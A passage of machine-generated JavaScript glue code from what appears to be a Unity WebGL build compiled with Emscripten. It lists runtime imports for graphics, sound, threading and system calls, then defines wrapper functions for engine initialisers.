nvoke_vij,\"invoke_viji\":invoke_viji,\"invoke_vijii\":invoke_vijii,\"invoke_vijiii\":invoke_vijiii,\"invoke_vijiji\":invoke_vijiji,\"invoke_vijijji\":invoke_vijijji,\"invoke_vijji\":invoke_vijji,\"invoke_vijjii\":invoke_vijjii,\"invoke_vjiiii\":invoke_vjiiii,\"invoke_vjji\":invoke_vjji,\"_JS_Cursor_SetImage\":_JS_Cursor_SetImage,\"_JS_Cursor_SetShow\":_JS_Cursor_SetShow,\"_JS_Eval_ClearInterval\":_JS_Eval_ClearInterval,\"_JS_Eval_SetInterval\":_JS_Eval_SetInterval,\"_JS_FileSystem_Initialize\":_JS_FileSystem_Initialize,\"_JS_FileSystem_Sync\":_JS_FileSystem_Sync,\"_JS_Log_Dump\":_JS_Log_Dump,\"_JS_Log_StackTrace\":_JS_Log_StackTrace,\"_JS_Sound_Create_Channel\":_JS_Sound_Create_Channel,\"_JS_Sound_GetLength\":_JS_Sound_GetLength,\"_JS_Sound_GetLoadState\":_JS_Sound_GetLoadState,\"_JS_Sound_Init\":_JS_Sound_Init,\"_JS_Sound_Load\":_JS_Sound_Load,\"_JS_Sound_Load_PCM\":_JS_Sound_Load_PCM,\"_JS_Sound_Play\":_JS_Sound_Play,\"_JS_Sound_ReleaseInstance\":_JS_Sound_ReleaseInstance,\"_JS_Sound_ResumeIfNeeded\":_JS_Sound_ResumeIfNeeded,\"_JS_Sound_Set3D\":_JS_Sound_Set3D,\"_JS_Sound_SetListenerOrientation\":_JS_Sound_SetListenerOrientation,\"_JS_Sound_SetListenerPosition\":_JS_Sound_SetListenerPosition,\"_JS_Sound_SetLoop\":_JS_Sound_SetLoop,\"_JS_Sound_SetLoopPoints\":_JS_Sound_SetLoopPoints,\"_JS_Sound_SetPitch\":_JS_Sound_SetPitch,\"_JS_Sound_SetPosition\":_JS_Sound_SetPosition,\"_JS_Sound_SetVolume\":_JS_Sound_SetVolume,\"_JS_Sound_Stop\":_JS_Sound_Stop,\"_JS_SystemInfo_GetCanvasClientSize\":_JS_SystemInfo_GetCanvasClientSize,\"_JS_SystemInfo_GetDocumentURL\":_JS_SystemInfo_GetDocumentURL,\"_JS_SystemInfo_GetGPUInfo\":_JS_SystemInfo_GetGPUInfo,\"_JS_SystemInfo_GetMatchWebGLToCanvasSize\":_JS_SystemInfo_GetMatchWebGLToCanvasSize,\"_JS_SystemInfo_GetMemory\":_JS_SystemInfo_GetMemory,\"_JS_SystemInfo_GetOS\":_JS_SystemInfo_GetOS,\"_JS_SystemInfo_GetPreferredDevicePixelRatio\":_JS_SystemInfo_GetPreferredDevicePixelRatio,\"_JS_SystemInfo_GetScreenSize\":_JS_SystemInfo_GetScreenSize,\"_JS_SystemInfo_HasCursorLock\":_JS_SystemInfo_HasCursorLock,\"_JS_SystemInfo_HasFullscreen\":_JS_SystemInfo_HasFullscreen,\"_JS_SystemInfo_HasWebGL\":_JS_SystemInfo_HasWebGL,\"__ZSt18uncaught_exceptionv\":__ZSt18uncaught_exceptionv,\"___atomic_compare_exchange_8\":___atomic_compare_exchange_8,\"___atomic_fetch_add_8\":___atomic_fetch_add_8,\"___buildEnvironment\":___buildEnvironment,\"___cxa_allocate_exception\":___cxa_allocate_exception,\"___cxa_begin_catch\":___cxa_begin_catch,\"___cxa_end_catch\":___cxa_end_catch,\"___cxa_find_matching_catch\":___cxa_find_matching_catch,\"___cxa_find_matching_catch_2\":___cxa_find_matching_catch_2,\"___cxa_find_matching_catch_3\":___cxa_find_matching_catch_3,\"___cxa_find_matching_catch_4\":___cxa_find_matching_catch_4,\"___cxa_free_exception\":___cxa_free_exception,\"___cxa_pure_virtual\":___cxa_pure_virtual,\"___cxa_rethrow\":___cxa_rethrow,\"___cxa_throw\":___cxa_throw,\"___gxx_personality_v0\":___gxx_personality_v0,\"___lock\":___lock,\"___map_file\":___map_file,\"___resumeException\":___resumeException,\"___setErrNo\":___setErrNo,\"___syscall10\":___syscall10,\"___syscall102\":___syscall102,\"___syscall122\":___syscall122,\"___syscall140\":___syscall140,\"___syscall142\":___syscall142,\"___syscall145\":___syscall145,\"___syscall146\":___syscall146,\"___syscall15\":___syscall15,\"___syscall183\":___syscall183,\"___syscall192\":___syscall192,\"___syscall193\":___syscall193,\"___syscall195\":___syscall195,\"___syscall196\":___syscall196,\"___syscall197\":___syscall197,\"___syscall199\":___syscall199,\"___syscall202\":___syscall202,\"___syscall220\":___syscall220,\"___syscall221\":___syscall221,\"___syscall268\":___syscall268,\"___syscall3\":___syscall3,\"___syscall33\":___syscall33,\"___syscall38\":___syscall38,\"___syscall39\":___syscall39,\"___syscall4\":___syscall4,\"___syscall40\":___syscall40,\"___syscall5\":___syscall5,\"___syscall54\":___syscall54,\"___syscall6\":___syscall6,\"___syscall77\":___syscall77,\"___syscall85\":___syscall85,\"___syscall91\":___syscall91,\"___unlock\":___unlock,\"__addDays\":__addDays,\"__arraySum\":__arraySum,\"__emscripten_do_request_fullscreen\":__emscripten_do_request_fullscreen,\"__emscripten_sample_gamepad_data\":__emscripten_sample_gamepad_data,\"__emscripten_traverse_stack\":__emscripten_traverse_stack,\"__exit\":__exit,\"__formatString\":__formatString,\"__inet_ntop4_raw\":__inet_ntop4_raw,\"__inet_ntop6_raw\":__inet_ntop6_raw,\"__inet_pton4_raw\":__inet_pton4_raw,\"__inet_pton6_raw\":__inet_pton6_raw,\"__isLeapYear\":__isLeapYear,\"__read_sockaddr\":__read_sockaddr,\"__reallyNegative\":__reallyNegative,\"__setLetterbox\":__setLetterbox,\"__write_sockaddr\":__write_sockaddr,\"_abort\":_abort,\"_atexit\":_atexit,\"_clock\":_clock,\"_clock_getres\":_clock_getres,\"_clock_gettime\":_clock_gettime,\"_difftime\":_difftime,\"_dlclose\":_dlclose,\"_dlopen\":_dlopen,\"_dlsym\":_dlsym,\"_emscripten_asm_const_i\":_emscripten_asm_const_i,\"_emscripten_asm_const_ii\":_emscripten_asm_const_ii,\"_emscripten_asm_const_sync_on_main_thread_i\":_emscripten_asm_const_sync_on_main_thread_i,\"_emscripten_cancel_main_loop\":_emscripten_cancel_main_loop,\"_emscripten_exit_fullscreen\":_emscripten_exit_fullscreen,\"_emscripten_exit_pointerlock\":_emscripten_exit_pointerlock,\"_emscripten_get_callstack_js\":_emscripten_get_callstack_js,\"_emscripten_get_canvas_element_size\":_emscripten_get_canvas_element_size,\"_emscripten_get_canvas_element_size_calling_thread\":_emscripten_get_canvas_element_size_calling_thread,\"_emscripten_get_canvas_element_size_main_thread\":_emscripten_get_canvas_element_size_main_thread,\"_emscripten_get_fullscreen_status\":_emscripten_get_fullscreen_status,\"_emscripten_get_gamepad_status\":_emscripten_get_gamepad_status,\"_emscripten_get_main_loop_timing\":_emscripten_get_main_loop_timing,\"_emscripten_get_now\":_emscripten_get_now,\"_emscripten_get_now_is_monotonic\":_emscripten_get_now_is_monotonic,\"_emscripten_get_now_res\":_emscripten_get_now_res,\"_emscripten_get_num_gamepads\":_emscripten_get_num_gamepads,\"_emscripten_has_threading_support\":_emscripten_has_threading_support,\"_emscripten_html5_remove_all_event_listeners\":_emscripten_html5_remove_all_event_listeners,\"_emscripten_is_webgl_context_lost\":_emscripten_is_webgl_context_lost,\"_emscripten_log\":_emscripten_log,\"_emscripten_log_js\":_emscripten_log_js,\"_emscripten_memcpy_big\":_emscripten_memcpy_big,\"_emscripten_num_logical_cores\":_emscripten_num_logical_cores,\"_emscripten_request_fullscreen\":_emscripten_request_fullscreen,\"_emscripten_request_pointerlock\":_emscripten_request_pointerlock,\"_emscripten_set_blur_callback_on_thread\":_emscripten_set_blur_callback_on_thread,\"_emscripten_set_canvas_element_size\":_emscripten_set_canvas_element_size,\"_emscripten_set_canvas_element_size_calling_thread\":_emscripten_set_canvas_element_size_calling_thread,\"_emscripten_set_canvas_element_size_main_thread\":_emscripten_set_canvas_element_size_main_thread,\"_emscripten_set_dblclick_callback_on_thread\":_emscripten_set_dblclick_callback_on_thread,\"_emscripten_set_devicemotion_callback_on_thread\":_emscripten_set_devicemotion_callback_on_thread,\"_emscripten_set_deviceorientation_callback_on_thread\":_emscripten_set_deviceorientation_callback_on_thread,\"_emscripten_set_focus_callback_on_thread\":_emscripten_set_focus_callback_on_thread,\"_emscripten_set_fullscreenchange_callback_on_thread\":_emscripten_set_fullscreenchange_callback_on_thread,\"_emscripten_set_gamepadconnected_callback_on_thread\":_emscripten_set_gamepadconnected_callback_on_thread,\"_emscripten_set_gamepaddisconnected_callback_on_thread\":_emscripten_set_gamepaddisconnected_callback_on_thread,\"_emscripten_set_keydown_callback_on_thread\":_emscripten_set_keydown_callback_on_thread,\"_emscripten_set_keypress_callback_on_thread\":_emscripten_set_keypress_callback_on_thread,\"_emscripten_set_keyup_callback_on_thread\":_emscripten_set_keyup_callback_on_thread,\"_emscripten_set_main_loop\":_emscripten_set_main_loop,\"_emscripten_set_main_loop_timing\":_emscripten_set_main_loop_timing,\"_emscripten_set_mousedown_callback_on_thread\":_emscripten_set_mousedown_callback_on_thread,\"_emscripten_set_mousemove_callback_on_thread\":_emscripten_set_mousemove_callback_on_thread,\"_emscripten_set_mouseup_callback_on_thread\":_emscripten_set_mouseup_callback_on_thread,\"_emscripten_set_touchcancel_callback_on_thread\":_emscripten_set_touchcancel_callback_on_thread,\"_emscripten_set_touchend_callback_on_thread\":_emscripten_set_touchend_callback_on_thread,\"_emscripten_set_touchmove_callback_on_thread\":_emscripten_set_touchmove_callback_on_thread,\"_emscripten_set_touchstart_callback_on_thread\":_emscripten_set_touchstart_callback_on_thread,\"_emscripten_set_wheel_callback_on_thread\":_emscripten_set_wheel_callback_on_thread,\"_emscripten_webgl_create_context\":_emscripten_webgl_create_context,\"_emscripten_webgl_destroy_context\":_emscripten_webgl_destroy_context,\"_emscripten_webgl_destroy_context_calling_thread\":_emscripten_webgl_destroy_context_calling_thread,\"_emscripten_webgl_do_create_context\":_emscripten_webgl_do_create_context,\"_emscripten_webgl_do_get_current_context\":_emscripten_webgl_do_get_current_context,\"_emscripten_webgl_enable_extension\":_emscripten_webgl_enable_extension,\"_emscripten_webgl_enable_extension_calling_thread\":_emscripten_webgl_enable_extension_calling_thread,\"_emscripten_webgl_get_current_context\":_emscripten_webgl_get_current_context,\"_emscripten_webgl_init_context_attributes\":_emscripten_webgl_init_context_attributes,\"_emscripten_webgl_make_context_current\":_emscripten_webgl_make_context_current,\"_exit\":_exit,\"_flock\":_flock,\"_getenv\":_getenv,\"_gethostbyaddr\":_gethostbyaddr,\"_gethostbyname\":_gethostbyname,\"_getpagesize\":_getpagesize,\"_getpwuid\":_getpwuid,\"_gettimeofday\":_gettimeofday,\"_glActiveTexture\":_glActiveTexture,\"_glAttachShader\":_glAttachShader,\"_glBeginQuery\":_glBeginQuery,\"_glBeginTransformFeedback\":_glBeginTransformFeedback,\"_glBindAttribLocation\":_glBindAttribLocation,\"_glBindBuffer\":_glBindBuffer,\"_glBindBufferBase\":_glBindBufferBase,\"_glBindBufferRange\":_glBindBufferRange,\"_glBindFramebuffer\":_glBindFramebuffer,\"_glBindRenderbuffer\":_glBindRenderbuffer,\"_glBindSampler\":_glBindSampler,\"_glBindTexture\":_glBindTexture,\"_glBindTransformFeedback\":_glBindTransformFeedback,\"_glBindVertexArray\":_glBindVertexArray,\"_glBlendEquation\":_glBlendEquation,\"_glBlendEquationSeparate\":_glBlendEquationSeparate,\"_glBlendFuncSeparate\":_glBlendFuncSeparate,\"_glBlitFramebuffer\":_glBlitFramebuffer,\"_glBufferData\":_glBufferData,\"_glBufferSubData\":_glBufferSubData,\"_glCheckFramebufferStatus\":_glCheckFramebufferStatus,\"_glClear\":_glClear,\"_glClearBufferfi\":_glClearBufferfi,\"_glClearBufferfv\":_glClearBufferfv,\"_glClearBufferuiv\":_glClearBufferuiv,\"_glClearColor\":_glClearColor,\"_glClearDepthf\":_glClearDepthf,\"_glClearStencil\":_glClearStencil,\"_glClientWaitSync\":_glClientWaitSync,\"_glColorMask\":_glColorMask,\"_glCompileShader\":_glCompileShader,\"_glCompressedTexImage2D\":_glCompressedTexImage2D,\"_glCompressedTexImage3D\":_glCompressedTexImage3D,\"_glCompressedTexSubImage2D\":_glCompressedTexSubImage2D,\"_glCompressedTexSubImage3D\":_glCompressedTexSubImage3D,\"_glCopyBufferSubData\":_glCopyBufferSubData,\"_glCopyTexImage2D\":_glCopyTexImage2D,\"_glCopyTexSubImage2D\":_glCopyTexSubImage2D,\"_glCreateProgram\":_glCreateProgram,\"_glCreateShader\":_glCreateShader,\"_glCullFace\":_glCullFace,\"_glDeleteBuffers\":_glDeleteBuffers,\"_glDeleteFramebuffers\":_glDeleteFramebuffers,\"_glDeleteProgram\":_glDeleteProgram,\"_glDeleteQueries\":_glDeleteQueries,\"_glDeleteRenderbuffers\":_glDeleteRenderbuffers,\"_glDeleteSamplers\":_glDeleteSamplers,\"_glDeleteShader\":_glDeleteShader,\"_glDeleteSync\":_glDeleteSync,\"_glDeleteTextures\":_glDeleteTextures,\"_glDeleteTransformFeedbacks\":_glDeleteTransformFeedbacks,\"_glDeleteVertexArrays\":_glDeleteVertexArrays,\"_glDepthFunc\":_glDepthFunc,\"_glDepthMask\":_glDepthMask,\"_glDetachShader\":_glDetachShader,\"_glDisable\":_glDisable,\"_glDisableVertexAttribArray\":_glDisableVertexAttribArray,\"_glDrawArrays\":_glDrawArrays,\"_glDrawArraysInstanced\":_glDrawArraysInstanced,\"_glDrawBuffers\":_glDrawBuffers,\"_glDrawElements\":_glDrawElements,\"_glDrawElementsInstanced\":_glDrawElementsInstanced,\"_glEnable\":_glEnable,\"_glEnableVertexAttribArray\":_glEnableVertexAttribArray,\"_glEndQuery\":_glEndQuery,\"_glEndTransformFeedback\":_glEndTransformFeedback,\"_glFenceSync\":_glFenceSync,\"_glFinish\":_glFinish,\"_glFlush\":_glFlush,\"_glFlushMappedBufferRange\":_glFlushMappedBufferRange,\"_glFramebufferRenderbuffer\":_glFramebufferRenderbuffer,\"_glFramebufferTexture2D\":_glFramebufferTexture2D,\"_glFramebufferTextureLayer\":_glFramebufferTextureLayer,\"_glFrontFace\":_glFrontFace,\"_glGenBuffers\":_glGenBuffers,\"_glGenFramebuffers\":_glGenFramebuffers,\"_glGenQueries\":_glGenQueries,\"_glGenRenderbuffers\":_glGenRenderbuffers,\"_glGenSamplers\":_glGenSamplers,\"_glGenTextures\":_glGenTextures,\"_glGenTransformFeedbacks\":_glGenTransformFeedbacks,\"_glGenVertexArrays\":_glGenVertexArrays,\"_glGenerateMipmap\":_glGenerateMipmap,\"_glGetActiveAttrib\":_glGetActiveAttrib,\"_glGetActiveUniform\":_glGetActiveUniform,\"_glGetActiveUniformBlockName\":_glGetActiveUniformBlockName,\"_glGetActiveUniformBlockiv\":_glGetActiveUniformBlockiv,\"_glGetActiveUniformsiv\":_glGetActiveUniformsiv,\"_glGetAttribLocation\":_glGetAttribLocation,\"_glGetError\":_glGetError,\"_glGetFramebufferAttachmentParameteriv\":_glGetFramebufferAttachmentParameteriv,\"_glGetIntegeri_v\":_glGetIntegeri_v,\"_glGetIntegerv\":_glGetIntegerv,\"_glGetInternalformativ\":_glGetInternalformativ,\"_glGetProgramBinary\":_glGetProgramBinary,\"_glGetProgramInfoLog\":_glGetProgramInfoLog,\"_glGetProgramiv\":_glGetProgramiv,\"_glGetRenderbufferParameteriv\":_glGetRenderbufferParameteriv,\"_glGetShaderInfoLog\":_glGetShaderInfoLog,\"_glGetShaderPrecisionFormat\":_glGetShaderPrecisionFormat,\"_glGetShaderSource\":_glGetShaderSource,\"_glGetShaderiv\":_glGetShaderiv,\"_glGetString\":_glGetString,\"_glGetStringi\":_glGetStringi,\"_glGetTexParameteriv\":_glGetTexParameteriv,\"_glGetUniformBlockIndex\":_glGetUniformBlockIndex,\"_glGetUniformIndices\":_glGetUniformIndices,\"_glGetUniformLocation\":_glGetUniformLocation,\"_glGetUniformiv\":_glGetUniformiv,\"_glGetVertexAttribiv\":_glGetVertexAttribiv,\"_glInvalidateFramebuffer\":_glInvalidateFramebuffer,\"_glIsEnabled\":_glIsEnabled,\"_glIsVertexArray\":_glIsVertexArray,\"_glLinkProgram\":_glLinkProgram,\"_glMapBufferRange\":_glMapBufferRange,\"_glPixelStorei\":_glPixelStorei,\"_glPolygonOffset\":_glPolygonOffset,\"_glProgramBinary\":_glProgramBinary,\"_glProgramParameteri\":_glProgramParameteri,\"_glReadBuffer\":_glReadBuffer,\"_glReadPixels\":_glReadPixels,\"_glRenderbufferStorage\":_glRenderbufferStorage,\"_glRenderbufferStorageMultisample\":_glRenderbufferStorageMultisample,\"_glSamplerParameteri\":_glSamplerParameteri,\"_glScissor\":_glScissor,\"_glShaderSource\":_glShaderSource,\"_glStencilFuncSeparate\":_glStencilFuncSeparate,\"_glStencilMask\":_glStencilMask,\"_glStencilOpSeparate\":_glStencilOpSeparate,\"_glTexImage2D\":_glTexImage2D,\"_glTexImage3D\":_glTexImage3D,\"_glTexParameterf\":_glTexParameterf,\"_glTexParameteri\":_glTexParameteri,\"_glTexParameteriv\":_glTexParameteriv,\"_glTexStorage2D\":_glTexStorage2D,\"_glTexStorage3D\":_glTexStorage3D,\"_glTexSubImage2D\":_glTexSubImage2D,\"_glTexSubImage3D\":_glTexSubImage3D,\"_glTransformFeedbackVaryings\":_glTransformFeedbackVaryings,\"_glUniform1fv\":_glUniform1fv,\"_glUniform1i\":_glUniform1i,\"_glUniform1iv\":_glUniform1iv,\"_glUniform1uiv\":_glUniform1uiv,\"_glUniform2fv\":_glUniform2fv,\"_glUniform2iv\":_glUniform2iv,\"_glUniform2uiv\":_glUniform2uiv,\"_glUniform3fv\":_glUniform3fv,\"_glUniform3iv\":_glUniform3iv,\"_glUniform3uiv\":_glUniform3uiv,\"_glUniform4fv\":_glUniform4fv,\"_glUniform4iv\":_glUniform4iv,\"_glUniform4uiv\":_glUniform4uiv,\"_glUniformBlockBinding\":_glUniformBlockBinding,\"_glUniformMatrix3fv\":_glUniformMatrix3fv,\"_glUniformMatrix4fv\":_glUniformMatrix4fv,\"_glUnmapBuffer\":_glUnmapBuffer,\"_glUseProgram\":_glUseProgram,\"_glValidateProgram\":_glValidateProgram,\"_glVertexAttrib4f\":_glVertexAttrib4f,\"_glVertexAttrib4fv\":_glVertexAttrib4fv,\"_glVertexAttribIPointer\":_glVertexAttribIPointer,\"_glVertexAttribPointer\":_glVertexAttribPointer,\"_glViewport\":_glViewport,\"_gmtime\":_gmtime,\"_gmtime_r\":_gmtime_r,\"_inet_addr\":_inet_addr,\"_llvm_ceil_f32\":_llvm_ceil_f32,\"_llvm_ceil_f64\":_llvm_ceil_f64,\"_llvm_copysign_f64\":_llvm_copysign_f64,\"_llvm_cos_f32\":_llvm_cos_f32,\"_llvm_cttz_i32\":_llvm_cttz_i32,\"_llvm_eh_typeid_for\":_llvm_eh_typeid_for,\"_llvm_exp2_f32\":_llvm_exp2_f32,\"_llvm_fabs_f32\":_llvm_fabs_f32,\"_llvm_fabs_f64\":_llvm_fabs_f64,\"_llvm_floor_f32\":_llvm_floor_f32,\"_llvm_floor_f64\":_llvm_floor_f64,\"_llvm_log10_f32\":_llvm_log10_f32,\"_llvm_log2_f32\":_llvm_log2_f32,\"_llvm_pow_f64\":_llvm_pow_f64,\"_llvm_sin_f32\":_llvm_sin_f32,\"_llvm_sqrt_f32\":_llvm_sqrt_f32,\"_llvm_trap\":_llvm_trap,\"_llvm_trunc_f32\":_llvm_trunc_f32,\"_localtime\":_localtime,\"_localtime_r\":_localtime_r,\"_longjmp\":_longjmp,\"_mktime\":_mktime,\"_nanosleep\":_nanosleep,\"_pthread_cond_destroy\":_pthread_cond_destroy,\"_pthread_cond_init\":_pthread_cond_init,\"_pthread_cond_timedwait\":_pthread_cond_timedwait,\"_pthread_cond_wait\":_pthread_cond_wait,\"_pthread_getspecific\":_pthread_getspecific,\"_pthread_key_create\":_pthread_key_create,\"_pthread_key_delete\":_pthread_key_delete,\"_pthread_mutex_destroy\":_pthread_mutex_destroy,\"_pthread_mutex_init\":_pthread_mutex_init,\"_pthread_mutexattr_destroy\":_pthread_mutexattr_destroy,\"_pthread_mutexattr_init\":_pthread_mutexattr_init,\"_pthread_mutexattr_setprotocol\":_pthread_mutexattr_setprotocol,\"_pthread_mutexattr_settype\":_pthread_mutexattr_settype,\"_pthread_once\":_pthread_once,\"_pthread_setspecific\":_pthread_setspecific,\"_sched_yield\":_sched_yield,\"_setenv\":_setenv,\"_sigaction\":_sigaction,\"_sigemptyset\":_sigemptyset,\"_strftime\":_strftime,\"_sysconf\":_sysconf,\"_time\":_time,\"_tzset\":_tzset,\"_unsetenv\":_unsetenv,\"_usleep\":_usleep,\"_utime\":_utime,\"emscriptenWebGLComputeImageSize\":emscriptenWebGLComputeImageSize,\"emscriptenWebGLGet\":emscriptenWebGLGet,\"emscriptenWebGLGetBufferBinding\":emscriptenWebGLGetBufferBinding,\"emscriptenWebGLGetHeapForType\":emscriptenWebGLGetHeapForType,\"emscriptenWebGLGetIndexed\":emscriptenWebGLGetIndexed,\"emscriptenWebGLGetShiftForType\":emscriptenWebGLGetShiftForType,\"emscriptenWebGLGetTexPixelData\":emscriptenWebGLGetTexPixelData,\"emscriptenWebGLGetUniform\":emscriptenWebGLGetUniform,\"emscriptenWebGLGetVertexAttrib\":emscriptenWebGLGetVertexAttrib,\"emscriptenWebGLValidateMapBufferTarget\":emscriptenWebGLValidateMapBufferTarget,\"emscripten_get_canvas_element_size_js\":emscripten_get_canvas_element_size_js,\"emscripten_set_canvas_element_size_js\":emscripten_set_canvas_element_size_js,\"DYNAMICTOP_PTR\":DYNAMICTOP_PTR,\"tempDoublePtr\":tempDoublePtr,\"ABORT\":ABORT,\"STACKTOP\":STACKTOP,\"STACK_MAX\":STACK_MAX};var asm=Module[\"asm\"](Module.asmGlobalArg,Module.asmLibraryArg,buffer);Module[\"asm\"]=asm;var _SendMessage=Module[\"_SendMessage\"]=(function(){return Module[\"asm\"][\"_SendMessage\"].apply(null,arguments)});var _SendMessageFloat=Module[\"_SendMessageFloat\"]=(function(){return Module[\"asm\"][\"_SendMessageFloat\"].apply(null,arguments)});var _SendMessageString=Module[\"_SendMessageString\"]=(function(){return Module[\"asm\"][\"_SendMessageString\"].apply(null,arguments)});var _SetFullscreen=Module[\"_SetFullscreen\"]=(function(){return Module[\"asm\"][\"_SetFullscreen\"].apply(null,arguments)});var __GLOBAL__sub_I_AIScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_AIScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_AIScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_AccessibilityScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_AccessibilityScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_AccessibilityScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_AndroidJNIScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_AndroidJNIScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_AndroidJNIScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_AnimationClip_cpp=Module[\"__GLOBAL__sub_I_AnimationClip_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_AnimationClip_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_AnimationScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_AnimationScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_AnimationScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_AssetBundleFileSystem_cpp=Module[\"__GLOBAL__sub_I_AssetBundleFileSystem_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_AssetBundleFileSystem_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_AssetBundleScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_AssetBundleScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_AssetBundleScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_AudioScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_AudioScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_AudioScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_ClothScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_ClothScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_ClothScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_DirectorScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_DirectorScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_DirectorScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_External_ProphecySDK_BlitOperations_1_cpp=Module[\"__GLOBAL__sub_I_External_ProphecySDK_BlitOperations_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_External_ProphecySDK_BlitOperations_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_External_Yoga_Yoga_0_cpp=Module[\"__GLOBAL__sub_I_External_Yoga_Yoga_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_External_Yoga_Yoga_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_External_il2cpp_builds_external_baselib_Platforms_WebGL_Source_0_cpp=Module[\"__GLOBAL__sub_I_External_il2cpp_builds_external_baselib_Platforms_WebGL_Source_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_External_il2cpp_builds_external_baselib_Platforms_WebGL_Source_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_GUITexture_cpp=Module[\"__GLOBAL__sub_I_GUITexture_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_GUITexture_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_GfxDeviceNull_cpp=Module[\"__GLOBAL__sub_I_GfxDeviceNull_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_GfxDeviceNull_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_GridScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_GridScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_GridScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_IMGUIScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_IMGUIScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_IMGUIScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_InputLegacyScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_InputLegacyScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_InputLegacyScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_InputScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_InputScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_InputScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_LogAssert_cpp=Module[\"__GLOBAL__sub_I_LogAssert_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_LogAssert_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Lump_libil2cpp_gc_cpp=Module[\"__GLOBAL__sub_I_Lump_libil2cpp_gc_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Lump_libil2cpp_gc_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Lump_libil2cpp_icalls_cpp=Module[\"__GLOBAL__sub_I_Lump_libil2cpp_icalls_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Lump_libil2cpp_icalls_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Lump_libil2cpp_metadata_cpp=Module[\"__GLOBAL__sub_I_Lump_libil2cpp_metadata_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Lump_libil2cpp_metadata_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Lump_libil2cpp_mono_cpp=Module[\"__GLOBAL__sub_I_Lump_libil2cpp_mono_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Lump_libil2cpp_mono_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Lump_libil2cpp_os_cpp=Module[\"__GLOBAL__sub_I_Lump_libil2cpp_os_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Lump_libil2cpp_os_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Lump_libil2cpp_utils_cpp=Module[\"__GLOBAL__sub_I_Lump_libil2cpp_utils_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Lump_libil2cpp_utils_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Lump_libil2cpp_vm_cpp=Module[\"__GLOBAL__sub_I_Lump_libil2cpp_vm_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Lump_libil2cpp_vm_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Lump_libil2cpp_vm_utils_cpp=Module[\"__GLOBAL__sub_I_Lump_libil2cpp_vm_utils_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Lump_libil2cpp_vm_utils_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Mesh_cpp=Module[\"__GLOBAL__sub_I_Mesh_cpp\"]=(function(){return 